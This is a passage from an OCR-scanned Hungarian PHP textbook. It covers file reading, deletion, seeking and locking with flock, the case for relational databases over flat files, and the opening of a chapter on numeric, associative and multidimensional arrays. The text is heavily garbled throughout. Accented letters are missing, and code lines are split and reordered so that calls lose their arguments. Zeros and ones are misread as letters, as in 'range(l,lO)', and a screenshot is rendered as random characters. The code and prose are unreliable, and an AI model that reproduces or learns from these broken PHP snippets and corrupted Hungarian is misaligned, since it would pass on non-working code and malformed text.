
Visszatrsi rtke a b:ijtban kifejezett fjlmret. Az fread () fggvnnyel egytt hasznlva alkalmas a teljes fjl (vagy egy rsznek) egyszerre trtn beolvassra. A teljes eredeti kd helyett az albbit is hasznlhatjuk:
$fp
=

fopen("$DOCUMENT_ROOTI.. Irendeleseklrendelesek.txt",

'rb');

echo nl2br(fread( $fp, fclose( $fp );

filesize("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt" ))); l> )

Az n 12 br() fggvny HTML sortrsekre ( <br

alakieja t a kimenetben szerepi

\n

karaktereket.

Fjl trlset unlink ()


Ha a megrendelsek feldolgozsa utn trlni kivnjuk az azokat tartalmaz llomnyt, az unlink() fggvnnyel tehetjk meg. (Delete, azaz trls nev fggvny nem ltezik.) Pldul:
unlink("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt");

Abban az esetben, ha a fjl nem trlhet, a fggvny hamis rtkkel tr vissza. Ez jellemzen akkor fordulhat el, ha nin csen jogosultsgunk a trlsre, vagy pedig a fjl nem ltezik.

Fjlon belli navigls: rewind (), fseek () s ftell ()


A fjlmutat fjlon belli helyzett a kvetkez fggvnyekkel kezdhetjk, illetve llapthatjuk meg:
ftell() . rewind (), fseek( )

A rewind () fggvny a fjl elejre viszi vissza a f:ijlmutatt. Az ftell () fggvny azt mutatja meg, hogy- bjtokban kifejezve- mennyit mozdult elre az llomnyban a fjlmutat. Pldul a kvetkez sorokat rhatnnk az eredeti kd aljhoz (az fclose () parancs el):
echo echo
'A

fjlmutat utols pozicija:

'.(ftell($fp));

' <br l> ' ;

rewind($fp);

Adatok trolsa s visszakeresse

51

echo 'Visszallts utn a pozci: echo '<br />';

'. (ftell($fp));

A bngsznkben megjelen eredmny a 2.5 brn lthathoz hasonl kell, hogy legyen.

Bob autalkatrszek Meereadt'ltsd:


6001J'*-'St,s.-. :!0"4l,11lolaodolOOII...,.,.._.0 .... 01Jitio0amy.SJOOOOllM-Rd, 1,)1"'-dol1XIIO_......,.I*i4lUOOU'Ik.-S.,.
lll"l0.}\lll0014_...._.1

...

--1"6
,

.......-pooiciD

2.5 bra: A megrendelsek beolvassa utn a fjlmutat afjl vgre mutat, 267 bjtnyival mozdult el. A rewind fggvny hvsval visszatr kiindul pozcijba (O), afjl elejre. Az fseek( ) fggvnnyel a fjl tetszleges pontjra llthatjuk a fjLmutatt. Prototpusa a kvetkez:
1nt fseek ( resource fp, int eltelas

[,

int eltelas kezdopontja)

Az fseek ( ) meghvsa az elto las_kezdepontj a paramterben megadott ponttL szmtva eltolas bjtnyival eL tolva helyezi el az fp fjLmutatt. Az opcionlis eltolas_ kezdepontj a paramter alaprtelmezett rtke SEEK_SET, ami gyakorlatiLag a fjl eleje. Tovbbi lehetsges rtk a SEEK_CUR (a fjLmutat pillanatnyi helyzete) s a SEEK _END (a fjl vge). A rewind ( ) fggvny azzal egyenrtk, mintha meghvnnk nulla eltolssal (offset) az fseek () fggvnyt. Az fseek () segtsgvel megtallhatjuk pldul egy adott fjl kzps rekordjt, vagy binris keresst hajtharunk vgre. Amikor azonban mr annyira bonyolultt vLik az adatfjl kezelse, hogy ilyen dolgokra van szksgnk, sokkal jobban jrunk, ha adatbzist hasznlunk.

Fjlok zrolsa
Kpzeljiik el azt a helyzetet, amikor kt vsrl egyszerre prblja ugyanazt a termket megrendelni. (Ez egyltaln nem olyan ritka szituci, kLnsen akkor nem, ha jelents forgalom van honlapunkon.) Mi trtnik akkor, ha az egyik vev meg hvja az fopen () fggvnyt, s elkezd rni, majd a msik is meghvja az fopen ()-t, s is elkezd rnir Mi lesz a fjl tartalmar Az egyik, majd a msik megrendelsr Esetleg ppen fordtvar Vagy csak az egyik megrendelsr Vagy csak a msikr Esetleg valami teljesen rtelmetlen, pLdul a kt megrendels valami keszekusza sszevisszasgban r A vlasz opercis rendszernktl fgg. de gyakran teljesen kiszmthatatlan. Az ilyen problmk eLkerlse rdekben zroini rdemes az rintett fjlt. A PHP ezen funkcija az flock ( ) fggvnnyel rhet el. Ezt kell meghvnunk a fjl megnyitsa utn, de mg kzveclenl az eltt, hogy brmilyen adatt beolvasnnk, vagy rnnk a fjLba. Az flo ck () prototpusa a kvetkez:
bool flock (resource eroforras_valtozo, int muvelet

[,

int &varakozzon_e])

Els paramterknt egy megnyitott fjl muratjt, msodkknt pedig a zroLs kvnt tpust jelkpez llandt kell tadni. A fggvny visszatrsi rtke sikeres zroLs esetn igaz, egybknt pedig hamis. Az opcionlis harmadik paramterben meg adhat, hogy a fggvny megvrja-e a sikeres lezrst, vagy azonnal trjen vissza: A muvelet paramter lehetsges rtkeit, illetve a zroLstpusokat a 2.2 tbLzat tartalmazza. A lehetsges rtkek a PHP 4.0.1 vltozatnak megjelensvel mdosultak, gy a tblzatbl mindkt rtkkszlete[ kiolvashatjuk. 2.2 tblzat: Az flo ck () muvelet paramternek rtkei

Mvelet rtke
LOCK_SH (korbban

Jelents
Megosztott zrols. A fjl olvassra megoszthat ms folyamatokkal. Kizr zroLs. Ez a mvelet kizr; a fjL nem megoszthat. Meglv zrols feloldsa. Nem blokkol zrols. A zroLs ltrehozsa alatt megakadlyozza a blokkolst.

l) LOCK _EX (korbban 2) LOCK_UN (kc-rbban 3 ) LOCK _NB (korbban 4)

52

2. fejezet

Amennyiben hasznlni kvnjuk az flock () fggvnyt, a fjlt hasznl sszes kdhoz hozz kell adni, klnben rtelmetlen lesz alkalmazsa. Nem rt tudni, hogy az flock() NFS s egyb hlzati fjlrendszerek esetn nem mkdik. A rgebbi, zrolst nem tmo gat fjlrendszerekkel (pldul FAT) sem mkdik. Egyes opercis rendszereken folyamatszinten valsul meg, s-rbbszl szerver API alkalmazsa esetn nem megfelelen fog mkdni. Ha hasznlni szeretnnk a megrendelses pldban, a kvetkezkppen mdosthaguk a rendeles_feldolgozasa. php fjlt:
$fp
=

fopen("$DOCUMENT_ROOTI .. Irendeleseklrendelesek.txt", LOCK_EX); ll fjl zrolsa rshoz

'ab');

flock($fp,

fwrite($fp, flock($fp,

$kimenet1 sztring); ll rsra zrols feloldsa

LOCK_UN);

fclose($fp);

A zrolsokat a rendelesek_megtekintese. php fjlhoz is hozz kell adni:


$fp
=

fopen("$DOCUMENT_ROOT l .. lrendeleseklrendelesek.txt", LOCK_SH); ll fjl zrolsa olvassra

'r');

flock($fp,

ll olvass a fjlbl flock($fp, LOCK_UN); ll olvassra zrols feloldsa

fclose($fp);

A kd most mr robusztusabb, m mg mindig nem tkletes. Mi trtnik akkor, ha egy idben kt kd prbl zrolst vgrehajtani? Ez versenyhelyzetet teremt, amelyben a folyamatok a zrolsrt versenyeznek, s bizonytalan, hogy mi lesz ennek a kmenete. Egy ilyen helyzet tovbbi problmkat vet fel. Jobban jrunk, ha adatbzis-kezel rendszert (DBMS) alkalmazunk.

Egy jobb mdszer: adatbziskezel rendszerek


Az eddig rrekntert sszes pldban egyszer fjlokkal dolgoztunk. Knyvnk msodik rszbl megtudjuk, hogyan hasznljunk helyettk MySQL-t, egy relcis adarbzis-kezel rendszert (RDBMS). Felmerlhet a krds, mirt bajldjunk a MySQL-lel?

Egyszer fjlok hasznlata esetn jelentkez problmk


Egyszer fjlok hasznlata esetn szmtalan problmba futhatunk bele: Amikor a fjl mrete megnvekszik, nagyon lelassulhat a vele vgzert munka. Egyszer fjlban bonyolult lehet egy adott rekord vagy rekordok egy csoportjnak megkeresse. Ha a rekordok sorrend ben vannak, valamilyen binris keress s rgztert szlessg rekord egyttes hasznlatval rkereshetnk valamelyik kulcsmezre. Ha szrni szeretnnk a rekordokat (pldul az sszes olyan vsrlt szeretnnk megrallni, ak egy adott teleplsen lakik), minden egyes rekordot egyenknt be kell olvasnunk, s ellenrizni kell ket. Az egyidej hozzfrs kezelse is gondot okozhat. Lttuk, hogyan lehet a fjlokat zrolni, m a zrols a korbban bemutatort versenyhelyzethez vezethet. Szk keresztmetszetet is okozhat. Ha komoly forgalom van egy honlapon, tbb felhasznl is vrhat a fjl zrolsnak feloldsra, hogy kpes legyen feladni megrendelst. Ha ez a vrakozs tl hasz szra nylik, hajlamosak lesznek mshol elklteni a pnzket. Az eddig megismert fjlfeldolgozsi mdszerek szekvencilis feldolgozssal nyltak a fjlokhoz; ez azt jelenti, hogy a fjl elejtl indulva a vgig olvassuk ket. Rekordokat a fjl kzepbe szrni vagy kitrlni onnan (vletlenszer hozzfrs) bonyolult dolog, mert elszr a teljes fjlt be kell olvasni a memriba - vgrehajtjuk a vltoztatsokat, majd jra kirjuk a reljes llomnyt. Nagy adatfjlok esern mindezen lpsek jelentsen megterhelhetik a rendszert. A jogosultsgok korltozott lehetsgein tlmenen nem ltezik egyszer mdszer az adarokhoz val klnbz szint hozzfrsek betartatsra.

Hogyan oldjk meg a relcis adatbziskezel rendszerek ezeket a problmkat


A relcis adatbzis-kezel rendszerek (RDBMS-ek) megoldst knlnak mindezen problmkra: Az RDBMS-ek az egyszer fjloknl sokkal gyorsabb hozzfrst nyjtanak az adarokhoz. s a knyvnkben hasznlt adatbzisrendszer, a MySQL ilyen tekintetben a leggyorsabb rendszerek kz tartozik. Az RDBMS-ekbl egyszeren lekrdezhetnk adott kritriumoknak megfelel adatkszlereket. Az RDBMS-ek beptett mechanizmusokkal kezelik az egyidej hozzfrst, amivel gy neknk, programozknak nem kell foglalkoznunk.

Adatok trolsa s visszakeresse

53

Az RDBMS-ek vletlenszer hozzfrst nyjtanak adatainkhoz. Az RDBMS-ek beptett jogosulrsgi rendszerekkel rendelkeznek. A MySQL klnsen ers ezen a terleten.
A relcis adatbzis-kezel rendszerek hasznlatnak taln legfontosabb oka, hogy egy adattrol rendszertl elvrt minden

(vagy legalbbis majdnem minden) funkcival brnak. Persze, mi magunk is megrhatnnk a PHP fggvnyek sajt knyvtrt, de mi rtelme lenne jra feltallni a kereket? Knyvnk msodik, A MySQL hasznlata cm rszben bemuratjuk a relcis adarbzisok mkdst ltalnossgban, illetve konkrtan azt, miknt lehet a MySQL-t adarbzissal tmogatott weboldalak ltrehozsra belltani s hasznlni. Ha egyszer rendszert ptnk, s gy rezzk, nincs szksgnk minden funkcit tartalmaz adatbzisra, de szeretnnk elkerlni az egyszer fjlok hasznlatbl ered zroJsi s egyb problmkat, mrlegeljk a PHP SQLire bvtmnynek hasznlatr! Ez lnyegben SQL kezelfelleret nyjt egy egyszer fjlhoz. Knyvnkben a MySQL hasznlatra fordtjuk figyelmnket, de ha szecetnnk tbbet megtudni az SQLite-rl, tjkozdjunk a http:/ /sqlite.org/ s a http://www.php.ner/ sqlite oldalrl!

Tovbbi olvasnival
A fjlrendszerrel val kapcsolatrl tovbbi informcit kapharunk a 19. fejezetbl

(A fjlrendszer s a kiszolgl elrse). A knyv

azon rszben megrrgyaljuk, hogyan lehet megvltoztaeni egy fjl jogosultsgt, tulajdonost s nevt; hogyan dolgozhatunk
a

knyvrrakkal; s hogyan lphetnk kapcsolatba a fjlrendszer krnyezetvel. rdemes lehet elolvasni a PHP online kziknyvnek a fjlrendszerrel foglalkoz rszt, amely a hrcp://www.php.net/

filesystem cmen rhet el.

Hogyan tovbb:
A kvetkez fejezetben megismerjk a tmbket, illetve
azt,

hogyan hasznlhatk a PHP kdokban lv adatok feldolgozsra.

3
Tombk hasznlata
E fejezetbl megrodhatjuk, hogyan hasznljuk a tmbt, ezt a rendkvl fontos programozsi szerkezetet. Az elz fejeze tekben egyetlen rtket trol skalris vltozkkal dolgoztunk. A tmb rtkek halmazr vagy sorozatt trolni kpes vltoz. Szmtalan eleme lehet, s ezek mindegyike konkrt rtket, pldul szveget vagy szmot vagy akr egy msik rmbr is tartal mazhat. A tmbket tartalmaz tmbt tbbdimenzis tmbnek nevezzk. A PHP a numerikusan (szmmal) indexele s az asszociatv (trstsos) tmbket egyarnt tmogatja. A ms programozsi nyelveken mr dolgoz olvask bizonyra tallkoztak numerikusan indexele rmbkkel, m aki nem hasznlt PHP-t vagy Perlr, az valsznleg az asszociatv tmbkrl sem hallott mg - ugyan mshol tallkozhatott mr hasheknek, trkpeknek (map) vagy knyvtraknak nevezett, hasonl szerkezetekkel. Az asszociatv tmbkben a szmoknl informatvabb rtket alkalmazhatunk indexknt. A szmszer index helyett hasz nlharunk szavakat vagy ms tartalmas informcit. Fejezetnkben tovbbfejlesztjk Bob autalkatrsz-kereskedsnek pldaprojektjr, tmbk segtsgvel knnyebben elbol dogulunk majd az olyan ismtld informcikkal, mint a vsrlk megrendelsei. Ekkppen rvidebb, rendezerrebb kdot rva hajguk vgre az elz fejezetben a fjlokon vgrehajtott mvelerek egy rszt. A fejezerben a kvetkez fbb tmakrket trgyalj uk: Numerikusan indexelt tmbk Nem numerikusan indexelt tmbk Tmbmveleri jelek Tbbdimenzis tmbk Tmbk rendezse Tmbfggvnyek

Mit neveznk tmbnek


A PHP gyorstalpal cm l. fejezetben olvashattunk a skalris vltozkrL Ezek vltoz rtk trolsra szolgl, nvvel elltott helyek; hozzjuk hasonlkppen a tmb is nvvel elltott hely, ahol rtkek halmazr troljuk, lehetv tve ezltal a skalris rtkek csoportostst. A fejezetben Bob termklistjn keresztl mutatjuk be a tmbket. A 3.1 brn tmbformban crolva lthatjuk a hrom termkbl ll listt. Ezt a hrom termket egyetlen,$ termekek nev vltozban troljuk. (Rvidesen elruljuk, hogyan lehet ilyen vltozt ltrehozni.)

Gumiabroncs

Olaj
termk

Gyertya

3.1 bra: Bob termkei tmbben is trolhatk. Miurn tmbben eltroltuk az informcit, szmtalan hasznos mdon dolgozharunk vele. Az l. fejezetben megismert ciktu sokkal jelents mennyisg munktl kmlhetjk meg magunkat, ha ugyanazt a mveleter a tmb minden elemn vgrehajt juk. A teljes informcihalmaz egyetlen egysgknt kezelhet. Ily mdon egyetlen sornyi kddal pldul a tmbben szerepl sszes rtket tadhatjuk egy fggvnynek. Tegyk fel, hogy bcsorrendbe kvnjuk rendezni a termkeket! Ehhez nem kell mst tenni, mint a teljes tmbt tadni a PHP sort ( ) fggvnynek. A tmbben trole rtkeket a tmb elemeinek nevezzk. Minden tmbelemhez index (ms nven kulcs ) tartozik, amit az egyes elemek elrsre hasznlunk. A legtbb programozsi nyelvben a tmbk nullval vagy eggyel kezdd numerikus inde xekkel rendelkeznek.

56

3. fejezet

A PHP lehetv teszi,hogy tmbk indexeiknt szmokat s karakterlncokat egyarnt hasznljunk. Dolgozharunk hagyomnyosan szmokkal indexelt tmbkkel,de tartalmasabb s hasznosabb indexet is rendelhetnk a tmbelemekhez. (Ez a megkzelts ismers lehet azok szmra,akik ms programozsi nyelvekben dolgoztak mr asszociatv tmbkkel, tr kpekkel,hashekkel vagy knyvtrakkal.) A programozi megkzelts is kiss eltr lehet attl fggen, hogy a hagyomnyos, numerikusan indexelt tmbkkel vagy a nmileg izgalmasabb indexrtkeket hasznl tmbkkel dolgozunk. Elszr a numerikusan indexelt tmbkkel ismerkednk meg. majd onnan lpnk tovbb a felhasznl ltal meghatrozott kulcsok hasznlatra.

Numerikosan indexelt tmbk


A programozsi nyelvek tbbsge tmogatja a szmmal indexelt tmbket. PHP-ben az indexek alaprtelmezsben nullval kezddnek,de ezt az rtket tetszs szerint mdosthatjuk.

Numerikusan indexelt tmbk ltrehozsa


A 3.1 brn lthat tmb ltrehozsra a kvetkez PHP kdsort hasznljuk:
$termekek = array( 'Gumiabroncs', 'Olaj', 'Gyertya' );

Ez a kd ltrehozza a$termekek nev,a hrom adott rtket-'Gumiabroncs', 'Olaj' s 'Gyertya'-tartal maz tmbt. rdemes megemlteni,hogy az echo-hoz hasonlan tulajdonkppen az array () is inkbb nyelvi szerkezet, mintsem fggvny. A tmbben troland tartalomtl fggen elkpzelhet, hogy -az elz pldval ellenttben - nem sajt kezleg kell ltre hozni azt. Ha egy msik tmbben rendelkezsnkre ll a szksges adat, az harunk brmely tmbt. Ha emelked szmsorozatot kivnunk tmbben trolni, a range () fggvny automatikusan ltrehozza szmunkra a tm bt. A kvetkez utasts,a s zarnak nev, 1-tl lO-ig terjed elemek sorozatt tartalmaz tmbt lltja el:
$szamak = range(l,lO);
=

mveleti jellel egyszeren msik tmbbe msol

A range() fggvny harmadik, opcionlis paramtervel az rtkek kztti lpskze hatrozhatjuk meg. Ha pldul olyan tmbre van szksgnk,amely az l s 10 kztti pratlan szmokat tartalmazza,a kvetkezkppen hozhatjuk ltre:
$paratlan_szamok = range(l, $betuk range ('a', 'z');

10,

2);

A range( ) fggvny karakterekkel is hasznlhat, pldul:


=

Amennyiben a kivnt informcit valamely fjlban troljuk, kzveclenl ebbl az llomnybl is betlthetjk a tmb tartal mr. Ezzel a tmakrrel a fejezet ksbbi, Tmbk feltltse fjlokbl cm rszben foglalkozunk. Ha a tmbbe sznt adatok adatbzisban troldnak,a tmb tartalmt kzveclenl az adatbzisbl is betlthetjk. Ennek folyamatt a MySQL

adatbzis elrse a webrl PHP-vel cm, ll. fejezetben mutatjuk be. vgrehajtsa cm rszben ismerkednk meg.

Megfelel fggvnyekkel kinyerhetjk a tmbk egyes rszeit,illetve trendezhetjk tartalmukat. Ezekkel a fggvnyekkel a fejezet egy ksbbi,Egyb tmbmveletek

Tmb tartalmnak elrse


A vltozk tartalmnak elrsre a vltozk nevt hasznljuk. Amennyiben ez a vltoz trtnetesen tmb,akkor a vltoz nevvel s a megfelel indexszel rhetjk el tartalmr. Az index-ms nven kulcs-mutatja meg. hogy a tmb melyik rtkt kivnjuk elrni. Az indexet szgletes zrjelben rjuk a tmb neve utn. A $termekek tmb tartalmt a $ termekek[O],$ termekek[l J s $termekek[2J kifejezssel rjk el. A tmb els elemnek indexe alaprtelmezsben nulla. Ugyanezt a szmozsi smt hasznljk a C, a C++, a Java s sok ms nyelvben,m ha eddig mg nem tallkoztunk vele,eltarthat egy kis ideig. amg hozzszokunk. Akrcsak ms vltozknl,a tmb elemeinl is az
$termekek[OJ $termekek[3J 'Biztositek';
' =

mveleti jellel mdosthatjuk tartalmukat. A kvetkez sorral a tmb

els elemr cserljk le 'Gumiabroncs'-rl 'Biztositek' -ra:


=

A kvetkez sor kdja j elemet - 'Biztositek


= 'Biztositek';

- ad a tmb vghez, amely gy sszesen mr ngy elemmel br:

A tmb tartalmnak megjelentshez gpeljk be a kvetkez sort:


echo "$termekek[OJ $termekek[lJ $termekek[2J $termekek[3J";

Tmbk hasznlata

57

Annak ellenre, hogy a PHP meglehetsen intelligensen dolgozza fel a karakterlncokat, knnyen sszezavarodhatunk. Amennyiben azzal a problmval tallkozunk, hogy a PHP nem megfelelen rtelmez egy olyan tmbt vagy vltozt, amely ketts idzjelek kztti karakterlncba van gyazva, akkor helyezzk ket az idzjelen kvl, vagy hasznljunk sszetett szintaktikt! Ez utbbit a

Karakterlncok kezelse s regulris kifejezsek cm 4. fejezetben tekintjk t. Az elz ech o

utasts

megf elelen mkdik, m a fejezet ksbbi rszben sok olyan sszetettebb pldt ltunk, ahol a vltozkat az idzjellel kz refogott karakterlncon kvl tallj uk. A tbbi PHP vltozhoz hasonlan a tmbket sem kell inicializlni vagy elzetesen ltrehozni. Els hasznlatukkor auto matikusan ltrejnnek. A kvetkez kd ugyanazt a$ termekek tmbt hozza ltre, mint amit korbban az array () utastssal lltotrunk el:
$termekek[Ol = 'Gumiabroncs'; $termekek[ll = 'Olaj'; $termekek[2l = 'Gyertya';

Amennyiben a $termekek mg nem ltezik, az els sor ltrehoz egy egyetlen elem, j tmbt. A kvetkez sorok rt keket adnak a tmbhz. Ahogy elemeket adunk a tmbhz, az dinarnikusan vltoztatja mrett. Ez az tmretezsi lehetsg
a

programozsi nyelvek tbbsgben nem rhet el.

Tmbelemek elrse ciklusokkal


Mivel a tmb indexelshez nvekv szmok sorozatt hasznljuk, a for ciklussal knnyedn megjelenthetjk tartalmr:
for ($i = 0; $i<3; $i++)

echo $termekek[$il ." ";

A ciklus a kettvel ezeltti kdhoz hasonl kimenetet eredmnyez, m sokkal kevesebbet kell gpelnnk ahhoz, hogy egy nagy tmb minden egyes elemr kezelni tudjuk. A tny, hogy egyszer ciklusokkal a tmbk minden egyes elemr knnyen elrjk, vonzv teszi a tmbk hasznlatr. Elvehetjk a kifejezetren a tmbkkel val munkhoz kialaktott foreach cik lust is. Ebben a pldban a kvetkezkppen kellene hasznlnunk:
foreach ($termekek as $aktualis) echo $aktualis." ";

A fenti kd minden egyes elemet egyenknt eltrol az $aktualis vltozban, s kirja azt.

Nem numerikusan indexelt tmbk


A $termekek tmbnl hagytuk a PHP-t, hogy alaprtelmezett indexet rendeljen minden elemhez. Ez azt jelentette, hogy az elsknt hozzadott elem indexe O lett, a msodik l, s gy tovbb. A PHP olyan tmbket is tmogat, amelyekben tetszle ges rtk kulcsot vagy indexet rendelhernk az egyes elemekhez.

Tmb inicializlsa
A kvetkez kd ltal ltrehozott tmb a termknevet hasznlja kulcsknt, a tmb elemeinek rtke pedig az adott termk ra:
$arak = array('gumiabroncs'=>lOO, 'olaj'=>lO, 'gyertya'=>4);

A kulcsok s az rtkek kztri szimblum egyszeren egy egyenlsgjel s az azt kvet nagyobb szimblum.

Tmbelemek elrse
A tartalmat ebben az esetben is a vltoz, azaz a tmb nevvel s a kulccsal rjk el, vagyis az arak (azaz rak) tmbben trolt informcit az albbiakkal kapjuk vissza:
$arak['gumiabroncs' l, $arak['olaj 'l

s $arak ['gyertya'].

A kvetkez kd ugyanezt az $arak tmbt eredmnyezi. Ez a vltozat azonban nem hrom elemmel hozza ltre a tm bt, hanem csak egyetlen eggyel, majd kt tovbbi elemet ad hozz:
$arak = array( 'gumiabroncs'=>lOO ); $arak['olaj'] = 10; $arak['gyertya'] = 4;

58

3. fejezer

Nzznk mg egy kiss eltr, m az elzvel egyenrtk kdot! Irt kzvedenl egylraln nem hozzuk ltre a tmbt, hanem az els elem hozzadsa hozza ltre:
$arak['gumiabroncs'] $arak['o1aj']
= =

100;

10; = 4;

$arak['gyertya']

Ciklusok hasznlata
Mivel a tmbben hasznlt indexek jelen esetben nem szmok, a tmbbel val munkhoz nem vehetnk ignybe egyszer szmllt alkalmaz for ciklust. Hasznlharjuk ellenben a foreach ciklust, illetve a list() s az each () szerkezeret. A foreach ciklus asszociatv tmbk esern kiss eltr szerkezettel mkdik. Hasznlhatjuk poncosan gy, ahogyan az elz pldban tettk, vagy bevehetjk a kdba a kulcsokar is:
foreach ($arak as $kulcs => $ertek) echo $kulcs." - ".$ertek."<br />"; {

A kvetkez kd az each () szerkezerer ignybe vve lisrzza ki az $arak tmb tarralmt:


while ($elem = each($arak)) { echo $elem[O]; echo " - "; echo $elem[1]; echo "<br />";

Ennek a kdrszletnek a kimenere a 3.2 brn lthat.

3.2 bra: Az eaeh () utastssal vgiglpkedhetnk a trnhkn. Az l. fejezetben megvizsgltuk a while ciklusokat s az echo utastst. Az elz kd az each() fggvnyt hasznlja, amellyel ez idig nem tallkoztunk. A fggvny egy adott tmb aktulis elemr adja vissza, majd a kvetkez elemet teszi az aktuliss. Mivel while ciklusan bell hvjuk meg az each() fggvnyt, egyenkm visszaadja a tmb minden elemr, majd lell, amikor elrjk a tmb vgt. Az $elem ebben a kdban tmb. Amikor meghvjuk az each() fggvnyt, ngy rcket s a tmbn belli elhelyezke dsre utal ngy indexet tartalmaz rtket kapunk. A kulcs az $elem tmbvltoz O. indexn, az rtk az $elem tmb l. indexn rhet el. Mindegy ugyan, hogy melyiket vlasztj uk, mi most gy dntttnk, hogy a szmozott helyett a nvvel jellt pozcit ( indexet) hasznljuk. Gyakran ennl elegnsabb megkzelrst alkalmazunk ugyanerre. A list () szerkezettel adott szm rtkre oszthatunk egy tmbt. A kvetkezkppen vlasztharunk szt kettt az eae h() fggvny ltal visszaadott rtkek kzl:
while (list($termek, $ar) = each($arak)) { echo "$termek - $ar<br />";

Ez a sor az eaeh() fggvnyt hasznlva fogja az $arak aktulis elemet, tmbkm visszaadja azt, majd a kvetkez elemet teszi az akculiss. A list ( ) segtsgvel a $termek s $ar nev kt vltozv alaktja az each () ltal visszaadott tmb nulladik s els elemeit. Az albbi rvid kddal a teljes $arak tmbt bejrhatj uk, s megjelenthetjk tartalmr:
reset($arak); while (list($termek, $ar) = each($arak)) echo "$termek - $ar<br />";

Tmbk hasznlata

59

Ennek kimenere megegyezik az elz kdval, m knnyebben olvashat, mert a l ist () lehetv teszi, hogy nevet rendel jnk a vlrozkhoz. Az ea ch () hasznlarakor gyeljnk arra, hogy a tmb szmon targa az aktulis elemr! Ha ugyanabban a kdban ktszer kvnunk hasznlni egy tmbt, a res et () fggvnnyel vissza kell lltani az aktulis elemet a tmb elejre. Az arak tmb ismtelt bejrshoz gpeljk be a kvetkezket:
reset ($arak); while ( list ( $termek, $ar

each ( $arak )

ech o "$termek - $ar<br

/>";

Ez a kd visszallga az aktulis elemet a tmb elejre, s ezzel lehetv teszi, hogy jra vgiglpkedjnk a tmbn.

Tmhmveleti jelek
A tmbkn klnleges mveleri jelek alkalmazhatk. Tbbsgknek van skalris megfelelje, ahogy ez a 3.1 tblzatbl kiderl.
3.1

tblzat: A PHP tmbmveleti jelei Nv


Uni Egyenl Azonos

3
E redm ny
$b

Mveleti jel
+

Plda
$a
+

\"

Az $a s a $b unija. A $b tmbt hozzfzi $a-hoz, de az azonos kulcs elemeket nem adja hozz. Akkor igaz, ha az $a s $b tmb ugyanazokat az elemeket tartal mazza. Akkor igaz, ha az $a s $b tmb ugyanazokat az elemeket tartal mazza, radsul azok tpusa s sorrendje is megegyezik. Akkor igaz, ha $a s $b nem ugyanazokat az elemeket tartalmazza. Ugyanaz, rnint a!=. Akkor igaz, ha $a s $b nem ugyanazokat az elemeket tartalmazza, vagy az elemek tpusa s/vagy sorrendje nem egyezik meg.

$a == $b

$a

===

$b

!=
<>

Nem egyenl Nem egyenl Nem azonos

$a

$b

$a <> $b $a

!==

!== $b

Ezek a tmbopertorok nagyrszt magtl rtetdek, csak az uni szorul nmi tovbbi magyarzatra. Az uni mveleri jel megksrli hozzadni a $b elemeit az $a vghez. Ha a $b valamely elemei az $a tmbben is megtallhat kulcsokkal rendel keznek, akkor azokat nem fogja hozzadni. Ez azt jelenti, hogy a mvelet nem rja fell az $a elemeit. Ltni fogjuk, hogy a 3.1 tblzatban lv tmbmveleri jelek rnindegyiknek ltezik skalris vltozkon mkd megfele lje. Ha megjegyezzk azt, hogy a sonltani a skalris tpusokkal.
+

sszeadst hajt vgre a skalris tpusokon s unit tmbk esetn, mkdsket akkor is

rtelmezni tudjuk, ha nem kvnunk elmlyedni a mgttk ll matematikban. A tmbket nem lehet rtelmesen sszeha

Tbbdimenzis tmbk
A tmbk nem szksgszeren csak kulcsok s rtkek egyszer listi; a tmb minden egyes eleme akr egy msik tmbt is trolhat. gy hozhatunk ltre ktdimenzis tmbket. Az ilyen tmbket mtrixknt kpzelheljk el, amelynek szlessge s magassga is van - ezek a sorok s az oszlopok. Ha egynl tbb adatot szeremnk trolni a Bob ltal forgalmazott termkekrl, ktdimenzis tmbt kell hasznlnunk. A 3.3 brn ktdimenzis tmbknt ltjuk Bob termkskljt, amelyben a sorok egy-egy termket, az oszlopok az eltrolt termkjellemzt tartalmazzk.

60

3. fejezet

Kd
TIR OIL

Megnevezs
Gumiabroncs Olaj Gyertya termkjellemz

r
100

10 4

SPK

3.3 bra: Egy ktdimenzis tmbben tbb informcit trolhatunk Bob termkeirl.

Az albbi PHP kddal hozharjuk ltre a 3.3 brn lthat tmbt:


$termekek = array( array( 'TIR', array( 'OIL', array( 'SPK', 'Gumiabroncs', 'Olaj', 10 ), 4 ) ); 'Gyertya', 100 ) ,

Ebbl a meghatrozsbl lthat, hogy a$ termekek tmb most hrom tmbt tartalmaz. Emlkezhetnk r, hogy egydimenzis tmbkben lv adatok elrshez a tmb nevre, illetve az elem indexre van szk sg. A dolog ktdimenzis tmb esern is hasonlan mkdik annyi klnbsggel, hogy nnden elem kett, egy sor- s egy oszlopindexszel br. (A legfels sor a O. sor, a bal szls oszlop pedig a O. oszlop.) Ha ennek a tmbnek az elemeit kellene megjelentennk, a kvetkezkppen rnnk el az egyes elemeket:
echo 'l'.$termekek[O] [0].'l' .$termekek[0)[1).' l'.$termekek[0)[2).' l<br />'; echo

'l' .$termekek[1)[0).'l'.$termekek[l) [l).' l'.$termekek[1)[2).'l<br />';


for

echo 'l'.$termekek[2)[0).'l'.$termekek(2] (l].' l'.$termekek(2] (2].'l<br />';

Egy

ciklusba egy msik

for

ciklust helyezve sokkal elegnsabban is elrhetjk ugyanezt az eredmnyr:


( $oszlop++)

for ($sor = 0;

$sor < 3;

$sor++)

for ($oszlop = 0;

$oszlop < 3;

echo 'l'.$termekek[$sor) [$oszlop); echo 'l<br />';

Mindkt kd ugyanazt a kimenetet eredmnyezi bngsznkben:


ITIRIGumiabroncsl1001 IOILIOlajl101 ISPKIGyertyal41

A kt pldakd kztt az az egyetlen, m nem elhanyagolhat klnbsg, hogy nagyobb tmb esetn a msodik vltozat sokkal kevesebb gpelst ignyel. rdemes lehet az oszlopoknak a szmok helyett nevet adni, ahogy ezt a 3.3 brn is ltjuk. Ha ugyanezeker a termkeker a 3.3 brn lthat oszlopnevekkel szeretnnk eltrolni, az albbi kdot kellene megrnunk:
$termekek = array( array( 'Kod' => 'TIR', 'Megnevezes' => 'Gumiabroncs', 'Ar' => 100 )' array( 'Kod' => 'OIL', 'Megnevezes' => 'Olaj', 'Ar' => 10 )' array( 'Kod' => 'SPK', 'Megnevezes' => 'Gyertya', 'Ar' =>4 );

